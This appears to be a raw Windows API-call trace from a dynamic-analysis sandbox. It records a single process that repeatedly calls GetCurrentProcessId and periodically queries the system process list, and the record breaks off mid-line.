GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.386] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.387] GetCurrentProcessId () returned 0xd70 [0105.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1d8) returned 0x0 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.954] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.955] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.956] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.957] GetCurrentProcessId () returned 0xd70 [0105.958] GetCurrentProcessId () returned 0xd70 [0106.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1d8) returned 0x0 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.811] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.812] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.813] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.814] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0106.815] GetCurrentProcessId () returned 0xd70 [0107.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c1d8) returned 0x0 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.383] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.384] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.385] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.386] GetCurrentProcessId () returned 0xd70 [0107.891] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c188) returned 0x0 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.895] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.896] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.897] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0107.898] GetCurrentProcessId () returned 0xd70 [0108.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c428) returned 0x0 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.505] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.506] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.507] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0108.508] GetCurrentProcessId () returned 0xd70 [0109.038] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1ba0eda0 | out: SystemInformation=0x13313e48, ResultLength=0x1ba0eda0*=0x1c3d8) returned 0x0 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] GetCurrentProcessId () returned 0xd70 [0109.064] 